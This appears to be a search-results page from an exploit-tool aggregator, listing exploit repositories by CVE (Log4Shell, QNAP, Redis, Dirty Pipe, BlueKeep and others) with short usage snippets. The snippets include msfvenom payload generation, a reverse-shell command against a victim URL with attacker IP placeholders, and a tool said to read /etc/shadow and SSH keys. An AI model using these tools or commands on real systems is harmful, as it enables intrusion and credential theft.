386 matches found
ropium
About ROPium ex-ROPGenerator is a library/tool that makes ROP-exploits easy. It automatically extracts and analyses gadgets from binaries and lets you find ROP-chains with semantic queries. ROPium supports X86 and X64 architectures, soon to be extended with ARM. Key features: Effortless : ROPium...
CVE-2021-43008-AdminerRead
CVE-2021-43008 - AdminerRead 针对 Adminer 1.0 至 4.6.2 任意文件读取漏洞的利用工具 安装 root@kitploit: git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install 使用方法 受影响版本...
lenovo_exec
lenovoexec CVE-2022-3699 は任意のカーネルコード実行機能を持つ 元のエクスプロイト: https://github.com/alfarom256/CVE-2022-3699...
looney-tuneables
looney-tuneables CVE-2023-4911 pwntoolsのインストール: https://github.com/Gallopsled/pwntools root@kitploit: apt-get update apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools...
AvTech-PoCs
AvTech PoCs CVE-2025-57199、CVE-2025-57200、CVE-2025-57201、CVE-2025-57202、CVE-2025-57203 の PoC です。 詳細はブログ記事を参照してください。...
CVE-2018-15982_EXP
CVE-2018-15982EXP 使用方法 root@kitploit: msfvenom -p windows/exec cmd=notepad.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=notepad.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin 出力は exp.swf と index.html です。 デモ https://twitter.com/Evi1cg/status/1071284773169950721...
CVE-2022-1388-EXP
F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE 一括検出 exp： 注：expは CVE-2021-22986 に基づいて変更しました！...
CVE-2017-8869
CVE-2017-8869 - MediaCoder 0.8.48.5888 - ローカルバッファオーバーフロー SEH リバースシェルオプションで書き換えられたエクスプロイト...
CVE-2018-8174_EXP
CVE-2018-8174EXP 使い方: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT CVE-2018-8174 のエクスプロイト オプション引数: -h, --help このヘルプメッセージを表示して終了 -u URL, --url URL エクスプロイトURL -o OUTPUT, --output OUTPUT エクスプロイトRTFを出力 -i IP, --ip IP netcat用のIPアドレス -p PORT, --port PORT netcat用のポート 例: 1. python CVE-2018-8174.py ...
CVE-2022-22947
CVE-2022-22947 SpringCloudGatewayRCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは許可されたセキュリティテスト専用であり、無許可の不正攻撃サイトへの使用を禁止します。 オンラインで読む《中華人民共和国ネットワーク安全法》 0x01 ツールの使用 実行中に表示されるプロンプトに従ってください。 0x02 バグの問題 バグはIssuesに送信してください。時間があれば確認します。...
CNTA-2019-0014xCVE-2019-2725
CNTA-2019-0014-CVE-2019-2725 免责声明:本工具仅供安全测试学习用途,禁止非法使用 root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux 具体分析请转：https://icematcha.win/?p=1174...
libmsm_vfe_read_exploit
CVE-2014-4321 を利用してカーネルメモリを読み取る。...
cve-2019-0708-exp
cve-2019-0708-exp 韓国からのExpです。気に入ってもらえると思います。XPが登場します。Win7も登場します。Linuxもそう遠くないでしょう？...
CVE-2022-0185-PipeVersion
CVE-2022-0185 pipe バージョン pipe-primitive を使用して CVE-2022-0185 を悪用するため、kaslr leak も smap smep ktpi bypass も不要です : Q: pipe-primitive とは？ A: https://github.com/veritas501/pipe-primitive...
CVE-2019-7192_QNAP_Exploit
QNAP 事前認証ルートRCE CVE-2019-7192 CVE-2019-7195 エクスプロイト 現時点では、システムファイル /etc/shadow、SSH秘密鍵など を読み取ることができます。 使用方法: root@kitploit: pip install -r requirements.txt または単に pip install requests python3 gundy.py https://vulnerableurl:port サンプル出力 脆弱性 これらの脆弱性は、事前認証ルートRCEとして連鎖させることができます。詳細は以下のリンクを参照してください: CyCra...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...
CVE-2022-0543
CVE-2022-0543 1.はじめに Redis サンドボックスエスケープ脆弱性（CVE-2022-0543）POC&EXP 2.使用方法 root@kitploit: RedisRCE -help 查看帮助信息 RedisRCE -h 192.168.0.100:6379 无密码连接 //输入q退出程序 RedisRCE -h 192.168.0.100:6379 -p 123456 密码连接 3.免責事項 このツールは学習、研究、自己確認のみを目的としています。 不正な目的に使用しないでください。関連する法律・規制を遵守してください。...
cve-2022-0847dirtypipe-exploit
cve-2022-0847dirtypipe-exploit...